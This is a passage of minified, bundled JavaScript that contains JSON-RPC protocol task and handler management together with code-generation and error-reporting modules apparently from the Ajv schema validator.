Z={...A,jsonrpc:"2.0"};if(K===null||K===void 0?void 0:K.relatedTask)Z={...Z,params:{...Z.params,_meta:{...((_=Z.params)===null||_===void 0?void 0:_._meta)||{},[gu]:K.relatedTask}}};(G=this._transport)===null||G===void 0||G.send(Z,K).catch((W)=>this._onerror(W))});return}let $={...A,jsonrpc:"2.0"};if(K===null||K===void 0?void 0:K.relatedTask)$={...$,params:{...$.params,_meta:{...((H=$.params)===null||H===void 0?void 0:H._meta)||{},[gu]:K.relatedTask}}};await this._transport.send($,K)}setRequestHandler(A,K){let q=wZ6(A);this.assertRequestHandlerCapability(q),this._requestHandlers.set(q,(Y,z)=>{let w=HZ6(A,Y);return Promise.resolve(K(w,z))})}removeRequestHandler(A){this._requestHandlers.delete(A)}assertCanSetRequestHandler(A){if(this._requestHandlers.has(A))throw Error(`A request handler for ${A} already exists, which would be overridden`)}setNotificationHandler(A,K){let q=wZ6(A);this._notificationHandlers.set(q,(Y)=>{let z=HZ6(A,Y);return Promise.resolve(K(z))})}removeNotificationHandler(A){this._notificationHandlers.delete(A)}_cleanupTaskProgressHandler(A){let K=this._taskProgressTokens.get(A);if(K!==void 0)this._progressHandlers.delete(K),this._taskProgressTokens.delete(A)}async _enqueueTaskMessage(A,K,q){var Y;if(!this._taskStore||!this._taskMessageQueue)throw Error("Cannot enqueue task message: taskStore and taskMessageQueue are not configured");let z=(Y=this._options)===null||Y===void 0?void 0:Y.maxTaskQueueSize;await this._taskMessageQueue.enqueue(A,K,q,z)}async _clearTaskQueue(A,K){if(this._taskMessageQueue){let q=await this._taskMessageQueue.dequeueAll(A,K);for(let Y of q)if(Y.type==="request"&&txA(Y.message)){let z=Y.message.id,w=this._requestResolvers.get(z);if(w)w(new MK(Hq.InternalError,"Task cancelled or completed")),this._requestResolvers.delete(z);else this._onerror(Error(`Resolver missing for request ${z} during task ${A} cleanup`))}}}async _waitForTaskUpdate(A,K){var q,Y,z;let w=(Y=(q=this._options)===null||q===void 0?void 0:q.defaultTaskPollInterval)!==null&&Y!==void 0?Y:1000;try{let H=await((z=this._taskStore)===null||z===void 0?void 0:z.getTask(A));if(H===null||H===void 0?void 0:H.pollInterval)w=H.pollInterval}catch(H){}return new Promise((H,J)=>{if(K.aborted){J(new MK(Hq.InvalidRequest,"Request cancelled"));return}let O=setTimeout(H,w);K.addEventListener("abort",()=>{clearTimeout(O),J(new MK(Hq.InvalidRequest,"Request cancelled"))},{once:!0})})}requestTaskStore(A,K){let q=this._taskStore;if(!q)throw Error("No task store configured");return{createTask:async(Y)=>{if(!A)throw Error("No request provided");return await q.createTask(Y,A.id,{method:A.method,params:A.params},K)},getTask:async(Y)=>{let z=await q.getTask(Y,K);if(!z)throw new MK(Hq.InvalidParams,"Failed to retrieve task: Task not found");return z},storeTaskResult:async(Y,z,w)=>{await q.storeTaskResult(Y,z,w,K);let H=await q.getTask(Y,K);if(H){let J=YuA.parse({method:"notifications/tasks/status",params:H});if(await this.notification(J),Ja(H.status))this._cleanupTaskProgressHandler(Y)}},getTaskResult:(Y)=>{return q.getTaskResult(Y,K)},updateTaskStatus:async(Y,z,w)=>{let H=await q.getTask(Y,K);if(!H)throw new MK(Hq.InvalidParams,`Task "${Y}" not found - it may have been cleaned up`);if(Ja(H.status))throw new MK(Hq.InvalidParams,`Cannot update task "${Y}" from terminal status "${H.status}" to "${z}". Terminal states (completed, failed, cancelled) cannot transition to other states.`);await q.updateTaskStatus(Y,z,w,K);let J=await q.getTask(Y,K);if(J){let O=YuA.parse({method:"notifications/tasks/status",params:J});if(await this.notification(O),Ja(J.status))this._cleanupTaskProgressHandler(Y)}},listTasks:(Y)=>{return q.listTasks(Y,K)}}}}function OY7(A){return A!==null&&typeof A==="object"&&!Array.isArray(A)}function oO1(A,K){let q={...A};for(let Y in K){let z=Y,w=K[z];if(w===void 0)continue;let H=q[z];if(OY7(H)&&OY7(w))q[z]={...H,...w};else q[z]=w}return q}var eJY=60000;var JZ6=k(()=>{sxA();G_();JY7()});var GuA=v((_Y7)=>{Object.defineProperty(_Y7,"__esModule",{value:!0});_Y7.regexpCode=_Y7.getEsmExportName=_Y7.getProperty=_Y7.safeStringify=_Y7.stringify=_Y7.strConcat=_Y7.addCodeArg=_Y7.str=_Y7._=_Y7.nil=_Y7._Code=_Y7.Name=_Y7.IDENTIFIER=_Y7._CodeOrName=void 0;class aO1{}_Y7._CodeOrName=aO1;_Y7.IDENTIFIER=/^[a-z$_][a-z$_0-9]*$/i;class cGA extends aO1{constructor(A){super();if(!_Y7.IDENTIFIER.test(A))throw Error("CodeGen: name must be a valid identifier");this.str=A}toString(){return this.str}emptyStr(){return!1}get names(){return{[this.str]:1}}}_Y7.Name=cGA;class VI extends aO1{constructor(A){super();this._items=typeof A==="string"?[A]:A}toString(){return this.str}emptyStr(){if(this._items.length>1)return!1;let A=this._items[0];return A===""||A==='""'}get str(){var A;return(A=this._str)!==null&&A!==void 0?A:this._str=this._items.reduce((K,q)=>`${K}${q}`,"")}get names(){var A;return(A=this._names)!==null&&A!==void 0?A:this._names=this._items.reduce((K,q)=>{if(q instanceof cGA)K[q.str]=(K[q.str]||0)+1;return K},{})}}_Y7._Code=VI;_Y7.nil=new VI("");function XY7(A,...K){let q=[A[0]],Y=0;while(Y<K.length)XZ6(q,K[Y]),q.push(A[++Y]);return new VI(q)}_Y7._=XY7;var OZ6=new VI("+");function $Y7(A,...K){let q=[_uA(A[0])],Y=0;while(Y<K.length)q.push(OZ6),XZ6(q,K[Y]),q.push(OZ6,_uA(A[++Y]));return AOY(q),new VI(q)}_Y7.str=$Y7;function XZ6(A,K){if(K instanceof VI)A.push(...K._items);else if(K instanceof cGA)A.push(K);else A.push(YOY(K))}_Y7.addCodeArg=XZ6;function AOY(A){let K=1;while(K<A.length-1){if(A[K]===OZ6){let q=KOY(A[K-1],A[K+1]);if(q!==void 0){A.splice(K-1,3,q);continue}A[K++]="+"}K++}}function KOY(A,K){if(K==='""')return A;if(A==='""')return K;if(typeof A=="string"){if(K instanceof cGA||A[A.length-1]!=='"')return;if(typeof K!="string")return`${A.slice(0,-1)}${K}"`;if(K[0]==='"')return A.slice(0,-1)+K.slice(1);return}if(typeof K=="string"&&K[0]==='"'&&!(A instanceof cGA))return`"${A}${K.slice(1)}`;return}function qOY(A,K){return K.emptyStr()?A:A.emptyStr()?K:$Y7`${A}${K}`}_Y7.strConcat=qOY;function YOY(A){return typeof A=="number"||typeof A=="boolean"||A===null?A:_uA(Array.isArray(A)?A.join(","):A)}function zOY(A){return new VI(_uA(A))}_Y7.stringify=zOY;function _uA(A){return JSON.stringify(A).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")}_Y7.safeStringify=_uA;function wOY(A){return typeof A=="string"&&_Y7.IDENTIFIER.test(A)?new VI(`.${A}`):XY7`[${A}]`}_Y7.getProperty=wOY;function HOY(A){if(typeof A=="string"&&_Y7.IDENTIFIER.test(A))return new VI(`${A}`);throw Error(`CodeGen: invalid export name: ${A}, use explicit $id name mapping`)}_Y7.getEsmExportName=HOY;function JOY(A){return new VI(A.toString())}_Y7.regexpCode=JOY});var ZZ6=v((DY7)=>{Object.defineProperty(DY7,"__esModule",{value:!0});DY7.ValueScope=DY7.ValueScopeName=DY7.Scope=DY7.varKinds=DY7.UsedValueState=void 0;var Of=GuA();class ZY7 extends Error{constructor(A){super(`CodeGen: "code" for ${A} not defined`);this.value=A.value}}var tO1;(function(A){A[A.Started=0]="Started",A[A.Completed=1]="Completed"})(tO1||(DY7.UsedValueState=tO1={}));DY7.varKinds={const:new Of.Name("const"),let:new Of.Name("let"),var:new Of.Name("var")};class _Z6{constructor({prefixes:A,parent:K}={}){this._names={},this._prefixes=A,this._parent=K}toName(A){return A instanceof Of.Name?A:this.name(A)}name(A){return new Of.Name(this._newName(A))}_newName(A){let K=this._names[A]||this._nameGroup(A);return`${A}${K.index++}`}_nameGroup(A){var K,q;if(((q=(K=this._parent)===null||K===void 0?void 0:K._prefixes)===null||q===void 0?void 0:q.has(A))||this._prefixes&&!this._prefixes.has(A))throw Error(`CodeGen: prefix "${A}" is not allowed in this scope`);return this._names[A]={prefix:A,index:0}}}DY7.Scope=_Z6;class GZ6 extends Of.Name{constructor(A,K){super(K);this.prefix=A}setValue(A,{property:K,itemIndex:q}){this.value=A,this.scopePath=Of._`.${new Of.Name(K)}[${q}]`}}DY7.ValueScopeName=GZ6;var fOY=Of._`\n`;class WY7 extends _Z6{constructor(A){super(A);this._values={},this._scope=A.scope,this.opts={...A,_n:A.lines?fOY:Of.nil}}get(){return this._scope}name(A){return new GZ6(A,this._newName(A))}value(A,K){var q;if(K.ref===void 0)throw Error("CodeGen: ref must be passed in value");let Y=this.toName(A),{prefix:z}=Y,w=(q=K.key)!==null&&q!==void 0?q:K.ref,H=this._values[z];if(H){let X=H.get(w);if(X)return X}else H=this._values[z]=new Map;H.set(w,Y);let J=this._scope[z]||(this._scope[z]=[]),O=J.length;return J[O]=K.ref,Y.setValue(K,{property:z,itemIndex:O}),Y}getValue(A,K){let q=this._values[A];if(!q)return;return q.get(K)}scopeRefs(A,K=this._values){return this._reduceValues(K,(q)=>{if(q.scopePath===void 0)throw Error(`CodeGen: name "${q}" has no value`);return Of._`${A}${q.scopePath}`})}scopeCode(A=this._values,K,q){return this._reduceValues(A,(Y)=>{if(Y.value===void 0)throw Error(`CodeGen: name "${Y}" has no value`);return Y.value.code},K,q)}_reduceValues(A,K,q={},Y){let z=Of.nil;for(let w in A){let H=A[w];if(!H)continue;let J=q[w]=q[w]||new Map;H.forEach((O)=>{if(J.has(O))return;J.set(O,tO1.Started);let X=K(O);if(X){let $=this.opts.es5?DY7.varKinds.var:DY7.varKinds.const;z=Of._`${z}${$} ${O} = ${X};${this.opts._n}`}else if(X=Y===null||Y===void 0?void 0:Y(O))z=Of._`${z}${X}${this.opts._n}`;else throw new ZY7(O);J.set(O,tO1.Completed)})}return z}}DY7.ValueScope=WY7});var B3=v((Xf)=>{Object.defineProperty(Xf,"__esModule",{value:!0});Xf.or=Xf.and=Xf.not=Xf.CodeGen=Xf.operators=Xf.varKinds=Xf.ValueScopeName=Xf.ValueScope=Xf.Scope=Xf.Name=Xf.regexpCode=Xf.stringify=Xf.getProperty=Xf.nil=Xf.strConcat=Xf.str=Xf._=void 0;var JY=GuA(),fI=ZZ6(),Oa=GuA();Object.defineProperty(Xf,"_",{enumerable:!0,get:function(){return Oa._}});Object.defineProperty(Xf,"str",{enumerable:!0,get:function(){return Oa.str}});Object.defineProperty(Xf,"strConcat",{enumerable:!0,get:function(){return Oa.strConcat}});Object.defineProperty(Xf,"nil",{enumerable:!0,get:function(){return Oa.nil}});Object.defineProperty(Xf,"getProperty",{enumerable:!0,get:function(){return Oa.getProperty}});Object.defineProperty(Xf,"stringify",{enumerable:!0,get:function(){return Oa.stringify}});Object.defineProperty(Xf,"regexpCode",{enumerable:!0,get:function(){return Oa.regexpCode}});Object.defineProperty(Xf,"Name",{enumerable:!0,get:function(){return Oa.Name}});var z01=ZZ6();Object.defineProperty(Xf,"Scope",{enumerable:!0,get:function(){return z01.Scope}});Object.defineProperty(Xf,"ValueScope",{enumerable:!0,get:function(){return z01.ValueScope}});Object.defineProperty(Xf,"ValueScopeName",{enumerable:!0,get:function(){return z01.ValueScopeName}});Object.defineProperty(Xf,"varKinds",{enumerable:!0,get:function(){return z01.varKinds}});Xf.operators={GT:new JY._Code(">"),GTE:new JY._Code(">="),LT:new JY._Code("<"),LTE:new JY._Code("<="),EQ:new JY._Code("==="),NEQ:new JY._Code("!=="),NOT:new JY._Code("!"),OR:new JY._Code("||"),AND:new JY._Code("&&"),ADD:new JY._Code("+")};class Xa{optimizeNodes(){return this}optimizeNames(A,K){return this}}class MY7 extends Xa{constructor(A,K,q){super();this.varKind=A,this.name=K,this.rhs=q}render({es5:A,_n:K}){let q=A?fI.varKinds.var:this.varKind,Y=this.rhs===void 0?"":` = ${this.rhs}`;return`${q} ${this.name}${Y};`+K}optimizeNames(A,K){if(!A[this.name.str])return;if(this.rhs)this.rhs=iGA(this.rhs,A,K);return this}get names(){return this.rhs instanceof JY._CodeOrName?this.rhs.names:{}}}class jZ6 extends Xa{constructor(A,K,q){super();this.lhs=A,this.rhs=K,this.sideEffects=q}render({_n:A}){return`${this.lhs} = ${this.rhs};`+A}optimizeNames(A,K){if(this.lhs instanceof JY.Name&&!A[this.lhs.str]&&!this.sideEffects)return;return this.rhs=iGA(this.rhs,A,K),this}get names(){let A=this.lhs instanceof JY.Name?{}:{...this.lhs.names};return Y01(A,this.rhs)}}class PY7 extends jZ6{constructor(A,K,q,Y){super(A,q,Y);this.op=K}render({_n:A}){return`${this.lhs} ${this.op}= ${this.rhs};`+A}}class VY7 extends Xa{constructor(A){super();this.label=A,this.names={}}render({_n:A}){return`${this.label}:`+A}}class fY7 extends Xa{constructor(A){super();this.label=A,this.names={}}render({_n:A}){return`break${this.label?` ${this.label}`:""};`+A}}class NY7 extends Xa{constructor(A){super();this.error=A}render({_n:A}){return`throw ${this.error};`+A}get names(){return this.error.names}}class TY7 extends Xa{constructor(A){super();this.code=A}render({_n:A}){return`${this.code};`+A}optimizeNodes(){return`${this.code}`?this:void 0}optimizeNames(A,K){return this.code=iGA(this.code,A,K),this}get names(){return this.code instanceof JY._CodeOrName?this.code.names:{}}}class w01 extends Xa{constructor(A=[]){super();this.nodes=A}render(A){return this.nodes.reduce((K,q)=>K+q.render(A),"")}optimizeNodes(){let{nodes:A}=this,K=A.length;while(K--){let q=A[K].optimizeNodes();if(Array.isArray(q))A.splice(K,1,...q);else if(q)A[K]=q;else A.splice(K,1)}return A.length>0?this:void 0}optimizeNames(A,K){let{nodes:q}=this,Y=q.length;while(Y--){let z=q[Y];if(z.optimizeNames(A,K))continue;EOY(A,z.names),q.splice(Y,1)}return q.length>0?this:void 0}get names(){return this.nodes.reduce((A,K)=>JqA(A,K.names),{})}}class $a extends w01{render(A){return"{"+A._n+super.render(A)+"}"+A._n}}class vY7 extends w01{}class ZuA extends $a{}ZuA.kind="else";class wp extends $a{constructor(A,K){super(K);this.condition=A}render(A){let K=`if(${this.condition})`+super.render(A);if(this.else)K+="else "+this.else.render(A);return K}optimizeNodes(){super.optimizeNodes();let A=this.condition;if(A===!0)return this.nodes;let K=this.else;if(K){let q=K.optimizeNodes();K=this.else=Array.isArray(q)?new ZuA(q):q}if(K){if(A===!1)return K instanceof wp?K:K.nodes;if(this.nodes.length)return this;return new wp(RY7(A),K instanceof wp?[K]:K.nodes)}if(A===!1||!this.nodes.length)return;return this}optimizeNames(A,K){var q;if(this.else=(q=this.else)===null||q===void 0?void 0:q.optimizeNames(A,K),!(super.optimizeNames(A,K)||this.else))return;return this.condition=iGA(this.condition,A,K),this}get names(){let A=super.names;if(Y01(A,this.condition),this.else)JqA(A,this.else.names);return A}}wp.kind="if";class lGA extends $a{}lGA.kind="for";class EY7 extends lGA{constructor(A){super();this.iteration=A}render(A){return`for(${this.iteration})`+super.render(A)}optimizeNames(A,K){if(!super.optimizeNames(A,K))return;return this.iteration=iGA(this.iteration,A,K),this}get names(){return JqA(super.names,this.iteration.names)}}class kY7 extends lGA{constructor(A,K,q,Y){super();this.varKind=A,this.name=K,this.from=q,this.to=Y}render(A){let K=A.es5?fI.varKinds.var:this.varKind,{name:q,from:Y,to:z}=this;return`for(${K} ${q}=${Y}; ${q}<${z}; ${q}++)`+super.render(A)}get names(){let A=Y01(super.names,this.from);return Y01(A,this.to)}}class WZ6 extends lGA{constructor(A,K,q,Y){super();this.loop=A,this.varKind=K,this.name=q,this.iterable=Y}render(A){return`for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})`+super.render(A)}optimizeNames(A,K){if(!super.optimizeNames(A,K))return;return this.iterable=iGA(this.iterable,A,K),this}get names(){return JqA(super.names,this.iterable.names)}}class eO1 extends $a{constructor(A,K,q){super();this.name=A,this.args=K,this.async=q}render(A){return`${this.async?"async ":""}function ${this.name}(${this.args})`+super.render(A)}}eO1.kind="func";class A01 extends w01{render(A){return"return "+super.render(A)}}A01.kind="return";class CY7 extends $a{render(A){let K="try"+super.render(A);if(this.catch)K+=this.catch.render(A);if(this.finally)K+=this.finally.render(A);return K}optimizeNodes(){var A,K;return super.optimizeNodes(),(A=this.catch)===null||A===void 0||A.optimizeNodes(),(K=this.finally)===null||K===void 0||K.optimizeNodes(),this}optimizeNames(A,K){var q,Y;return super.optimizeNames(A,K),(q=this.catch)===null||q===void 0||q.optimizeNames(A,K),(Y=this.finally)===null||Y===void 0||Y.optimizeNames(A,K),this}get names(){let A=super.names;if(this.catch)JqA(A,this.catch.names);if(this.finally)JqA(A,this.finally.names);return A}}class K01 extends $a{constructor(A){super();this.error=A}render(A){return`catch(${this.error})`+super.render(A)}}K01.kind="catch";class q01 extends $a{render(A){return"finally"+super.render(A)}}q01.kind="finally";class LY7{constructor(A,K={}){this._values={},this._blockStarts=[],this._constants={},this.opts={...K,_n:K.lines?` `:""},this._extScope=A,this._scope=new fI.Scope({parent:A}),this._nodes=[new vY7]}toString(){return this._root.render(this.opts)}name(A){return this._scope.name(A)}scopeName(A){return this._extScope.name(A)}scopeValue(A,K){let q=this._extScope.value(A,K);return(this._values[q.prefix]||(this._values[q.prefix]=new Set)).add(q),q}getScopeValue(A,K){return this._extScope.getValue(A,K)}scopeRefs(A){return this._extScope.scopeRefs(A,this._values)}scopeCode(){return this._extScope.scopeCode(this._values)}_def(A,K,q,Y){let z=this._scope.toName(K);if(q!==void 0&&Y)this._constants[z.str]=q;return this._leafNode(new MY7(A,z,q)),z}const(A,K,q){return this._def(fI.varKinds.const,A,K,q)}let(A,K,q){return this._def(fI.varKinds.let,A,K,q)}var(A,K,q){return this._def(fI.varKinds.var,A,K,q)}assign(A,K,q){return this._leafNode(new jZ6(A,K,q))}add(A,K){return this._leafNode(new PY7(A,Xf.operators.ADD,K))}code(A){if(typeof A=="function")A();else if(A!==JY.nil)this._leafNode(new TY7(A));return this}object(...A){let K=["{"];for(let[q,Y]of A){if(K.length>1)K.push(",");if(K.push(q),q!==Y||this.opts.es5)K.push(":"),(0,JY.addCodeArg)(K,Y)}return K.push("}"),new JY._Code(K)}if(A,K,q){if(this._blockNode(new wp(A)),K&&q)this.code(K).else().code(q).endIf();else if(K)this.code(K).endIf();else if(q)throw Error('CodeGen: "else" body without "then" body');return this}elseIf(A){return this._elseNode(new wp(A))}else(){return this._elseNode(new ZuA)}endIf(){return this._endBlockNode(wp,ZuA)}_for(A,K){if(this._blockNode(A),K)this.code(K).endFor();return this}for(A,K){return this._for(new EY7(A),K)}forRange(A,K,q,Y,z=this.opts.es5?fI.varKinds.var:fI.varKinds.let){let w=this._scope.toName(A);return this._for(new kY7(z,w,K,q),()=>Y(w))}forOf(A,K,q,Y=fI.varKinds.const){let z=this._scope.toName(A);if(this.opts.es5){let w=K instanceof JY.Name?K:this.var("_arr",K);return this.forRange("_i",0,JY._`${w}.length`,(H)=>{this.var(z,JY._`${w}[${H}]`),q(z)})}return this._for(new WZ6("of",Y,z,K),()=>q(z))}forIn(A,K,q,Y=this.opts.es5?fI.varKinds.var:fI.varKinds.const){if(this.opts.ownProperties)return this.forOf(A,JY._`Object.keys(${K})`,q);let z=this._scope.toName(A);return this._for(new WZ6("in",Y,z,K),()=>q(z))}endFor(){return this._endBlockNode(lGA)}label(A){return this._leafNode(new VY7(A))}break(A){return this._leafNode(new fY7(A))}return(A){let K=new A01;if(this._blockNode(K),this.code(A),K.nodes.length!==1)throw Error('CodeGen: "return" should have one node');return this._endBlockNode(A01)}try(A,K,q){if(!K&&!q)throw Error('CodeGen: "try" without "catch" and "finally"');let Y=new CY7;if(this._blockNode(Y),this.code(A),K){let z=this.name("e");this._currNode=Y.catch=new K01(z),K(z)}if(q)this._currNode=Y.finally=new q01,this.code(q);return this._endBlockNode(K01,q01)}throw(A){return this._leafNode(new NY7(A))}block(A,K){if(this._blockStarts.push(this._nodes.length),A)this.code(A).endBlock(K);return this}endBlock(A){let K=this._blockStarts.pop();if(K===void 0)throw Error("CodeGen: not in self-balancing block");let q=this._nodes.length-K;if(q<0||A!==void 0&&q!==A)throw Error(`CodeGen: wrong number of nodes: ${q} vs ${A} expected`);return this._nodes.length=K,this}func(A,K=JY.nil,q,Y){if(this._blockNode(new eO1(A,K,q)),Y)this.code(Y).endFunc();return this}endFunc(){return this._endBlockNode(eO1)}optimize(A=1){while(A-- >0)this._root.optimizeNodes(),this._root.optimizeNames(this._root.names,this._constants)}_leafNode(A){return this._currNode.nodes.push(A),this}_blockNode(A){this._currNode.nodes.push(A),this._nodes.push(A)}_endBlockNode(A,K){let q=this._currNode;if(q instanceof A||K&&q instanceof K)return this._nodes.pop(),this;throw Error(`CodeGen: not in block "${K?`${A.kind}/${K.kind}`:A.kind}"`)}_elseNode(A){let K=this._currNode;if(!(K instanceof wp))throw Error('CodeGen: "else" without "if"');return this._currNode=K.else=A,this}get _root(){return this._nodes[0]}get _currNode(){let A=this._nodes;return A[A.length-1]}set _currNode(A){let K=this._nodes;K[K.length-1]=A}}Xf.CodeGen=LY7;function JqA(A,K){for(let q in K)A[q]=(A[q]||0)+(K[q]||0);return A}function Y01(A,K){return K instanceof JY._CodeOrName?JqA(A,K.names):A}function iGA(A,K,q){if(A instanceof JY.Name)return Y(A);if(!z(A))return A;return new JY._Code(A._items.reduce((w,H)=>{if(H instanceof JY.Name)H=Y(H);if(H instanceof JY._Code)w.push(...H._items);else w.push(H);return w},[]));function Y(w){let H=q[w.str];if(H===void 0||K[w.str]!==1)return w;return delete K[w.str],H}function z(w){return w instanceof JY._Code&&w._items.some((H)=>H instanceof JY.Name&&K[H.str]===1&&q[H.str]!==void 0)}}function EOY(A,K){for(let q in K)A[q]=(A[q]||0)-(K[q]||0)}function RY7(A){return typeof A=="boolean"||typeof A=="number"||A===null?!A:JY._`!${DZ6(A)}`}Xf.not=RY7;var kOY=yY7(Xf.operators.AND);function COY(...A){return A.reduce(kOY)}Xf.and=COY;var LOY=yY7(Xf.operators.OR);function ROY(...A){return A.reduce(LOY)}Xf.or=ROY;function yY7(A){return(K,q)=>K===JY.nil?q:q===JY.nil?K:JY._`${DZ6(K)} ${A} ${DZ6(q)}`}function DZ6(A){return A instanceof JY.Name?A:JY._`(${A})`}});var hY=v((gY7)=>{Object.defineProperty(gY7,"__esModule",{value:!0});gY7.checkStrictMode=gY7.getErrorPath=gY7.Type=gY7.useFunc=gY7.setEvaluated=gY7.evaluatedPropsToName=gY7.mergeEvaluated=gY7.eachItem=gY7.unescapeJsonPointer=gY7.escapeJsonPointer=gY7.escapeFragment=gY7.unescapeFragment=gY7.schemaRefOrVal=gY7.schemaHasRulesButRef=gY7.schemaHasRules=gY7.checkUnknownRules=gY7.alwaysValidSchema=gY7.toHash=void 0;var fw=B3(),hOY=GuA();function bOY(A){let K={};for(let q of A)K[q]=!0;return K}gY7.toHash=bOY;function xOY(A,K){if(typeof K=="boolean")return K;if(Object.keys(K).length===0)return!0;return bY7(A,K),!xY7(K,A.self.RULES.all)}gY7.alwaysValidSchema=xOY;function bY7(A,K=A.schema){let{opts:q,self:Y}=A;if(!q.strictSchema)return;if(typeof K==="boolean")return;let z=Y.RULES.keywords;for(let w in K)if(!z[w])mY7(A,`unknown keyword: "${w}"`)}gY7.checkUnknownRules=bY7;function xY7(A,K){if(typeof A=="boolean")return!A;for(let q in A)if(K[q])return!0;return!1}gY7.schemaHasRules=xY7;function uOY(A,K){if(typeof A=="boolean")return!A;for(let q in A)if(q!=="$ref"&&K.all[q])return!0;return!1}gY7.schemaHasRulesButRef=uOY;function BOY({topSchemaRef:A,schemaPath:K},q,Y,z){if(!z){if(typeof q=="number"||typeof q=="boolean")return q;if(typeof q=="string")return fw._`${q}`}return fw._`${A}${K}${(0,fw.getProperty)(Y)}`}gY7.schemaRefOrVal=BOY;function mOY(A){return uY7(decodeURIComponent(A))}gY7.unescapeFragment=mOY;function gOY(A){return encodeURIComponent(PZ6(A))}gY7.escapeFragment=gOY;function PZ6(A){if(typeof A=="number")return`${A}`;return A.replace(/~/g,"~0").replace(/\//g,"~1")}gY7.escapeJsonPointer=PZ6;function uY7(A){return A.replace(/~1/g,"/").replace(/~0/g,"~")}gY7.unescapeJsonPointer=uY7;function FOY(A,K){if(Array.isArray(A))for(let q of A)K(q);else K(A)}gY7.eachItem=FOY;function SY7({mergeNames:A,mergeToName:K,mergeValues:q,resultToName:Y}){return(z,w,H,J)=>{let O=H===void 0?w:H instanceof fw.Name?(w instanceof fw.Name?A(z,w,H):K(z,w,H),H):w instanceof fw.Name?(K(z,H,w),w):q(w,H);return J===fw.Name&&!(O instanceof fw.Name)?Y(z,O):O}}gY7.mergeEvaluated={props:SY7({mergeNames:(A,K,q)=>A.if(fw._`${q} !== true && ${K} !== undefined`,()=>{A.if(fw._`${K} === true`,()=>A.assign(q,!0),()=>A.assign(q,fw._`${q} || {}`).code(fw._`Object.assign(${q}, ${K})`))}),mergeToName:(A,K,q)=>A.if(fw._`${q} !== true`,()=>{if(K===!0)A.assign(q,!0);else A.assign(q,fw._`${q} || {}`),VZ6(A,q,K)}),mergeValues:(A,K)=>A===!0?!0:{...A,...K},resultToName:BY7}),items:SY7({mergeNames:(A,K,q)=>A.if(fw._`${q} !== true && ${K} !== undefined`,()=>A.assign(q,fw._`${K} === true ? true : ${q} > ${K} ? ${q} : ${K}`)),mergeToName:(A,K,q)=>A.if(fw._`${q} !== true`,()=>A.assign(q,K===!0?!0:fw._`${q} > ${K} ? ${q} : ${K}`)),mergeValues:(A,K)=>A===!0?!0:Math.max(A,K),resultToName:(A,K)=>A.var("items",K)})};function BY7(A,K){if(K===!0)return A.var("props",!0);let q=A.var("props",fw._`{}`);if(K!==void 0)VZ6(A,q,K);return q}gY7.evaluatedPropsToName=BY7;function VZ6(A,K,q){Object.keys(q).forEach((Y)=>A.assign(fw._`${K}${(0,fw.getProperty)(Y)}`,!0))}gY7.setEvaluated=VZ6;var hY7={};function QOY(A,K){return A.scopeValue("func",{ref:K,code:hY7[K.code]||(hY7[K.code]=new hOY._Code(K.code))})}gY7.useFunc=QOY;var MZ6;(function(A){A[A.Num=0]="Num",A[A.Str=1]="Str"})(MZ6||(gY7.Type=MZ6={}));function UOY(A,K,q){if(A instanceof fw.Name){let Y=K===MZ6.Num;return q?Y?fw._`"[" + ${A} + "]"`:fw._`"['" + ${A} + "']"`:Y?fw._`"/" + ${A}`:fw._`"/" + ${A}.replace(/~/g, "~0").replace(/\\//g, "~1")`}return q?(0,fw.getProperty)(A).toString():"/"+PZ6(A)}gY7.getErrorPath=UOY;function mY7(A,K,q=A.opts.strictSchema){if(!q)return;if(K=`strict mode: ${K}`,q===!0)throw Error(K);A.self.logger.warn(K)}gY7.checkStrictMode=mY7});var Hp=v((QY7)=>{Object.defineProperty(QY7,"__esModule",{value:!0});var dD=B3(),w0Y={data:new dD.Name("data"),valCxt:new dD.Name("valCxt"),instancePath:new dD.Name("instancePath"),parentData:new dD.Name("parentData"),parentDataProperty:new dD.Name("parentDataProperty"),rootData:new dD.Name("rootData"),dynamicAnchors:new dD.Name("dynamicAnchors"),vErrors:new dD.Name("vErrors"),errors:new dD.Name("errors"),this:new dD.Name("this"),self:new dD.Name("self"),scope:new dD.Name("scope"),json:new dD.Name("json"),jsonPos:new dD.Name("jsonPos"),jsonLen:new dD.Name("jsonLen"),jsonPart:new dD.Name("jsonPart")};QY7.default=w0Y});var WuA=v((cY7)=>{Object.defineProperty(cY7,"__esModule",{value:!0});cY7.extendErrors=cY7.resetErrorsCount=cY7.reportExtraError=cY7.reportError=cY7.keyword$DataError=cY7.keywordError=void 0;var DY=B3(),J01=hY(),gM=Hp();cY7.keywordError={message:({keyword:A})=>DY.str`must pass "${A}" keyword validation`};cY7.keyword$DataError={message:({keyword:A,schemaType:K})=>K?DY.str`"${A}" keyword must be ${K} ($data)`:DY.str`"${A}" keyword is invalid ($data)`};function J0Y(A,K=cY7.keywordError,q,Y){let{it:z}=A,{gen:w,compositeRule:H,allErrors:J}=z,O=dY7(A,K,q);if(Y!==null&&Y!==void 0?Y:H||J)UY7(w,O);else pY7(z,DY._`[${O}]`)}cY7.reportError=J0Y;function O0Y(A,K=cY7.keywordError,q){let{it:Y}=A,{gen:z,compositeRule:w,allErrors:H}=Y,J=dY7(A,K,q);if(UY7(z,J),!(w||H))pY7(Y,gM.default.vErrors)}cY7.reportExtraError=O0Y;function X0Y(A,K){A.assign(gM.default.errors,K),A.if(DY._`${gM.default.vErrors} !== null`,()=>A.if(K,()=>A.assign(DY._`${gM.default.vErrors}.length`,K),()=>A.assign(gM.default.vErrors,null)))}cY7.resetErrorsCount=X0Y;function $0Y({gen:A,keyword:K,schemaValue:q,data:Y,errsCount:z,it:w}){if(z===void 0)throw Error("ajv implementation error");let H=A.name("err");A.forRange("i",z,gM.default.errors,(J)=>{if(A.const(H,DY._`${gM.default.vErrors}[${J}]`),A.if(DY._`${H}.instancePath === undefined`,()=>A.assign(DY._`${H}.instancePath`,(0,DY.strConcat)(gM.default.instancePath,w.errorPath))),A.assign(DY._`${H}.schemaPath`,DY.str`${w.errSchemaPath}/${K}`),w.opts.verbose)A.assign(DY._`${H}.schema`,q),A.assign(DY._`${H}.data`,Y)})}cY7.extendErrors=$0Y;function UY7(A,K){let q=A.const("err",K);A.if(DY._`${gM.default.vErrors} === null`,()=>A.assign(gM.default.vErrors,DY._`[${q}]`),DY._`${gM.default.vErrors}.push(${q})`),A.code(DY._`${gM.default.errors}++`)}function pY7(A,K){let{gen:q,validateName:Y,schemaEnv:z}=A;if(z.$async)q.throw(DY._`new ${A.ValidationError}(${K})`);else q.assign(DY._`${Y}.errors`,K),q.return(!1)}var 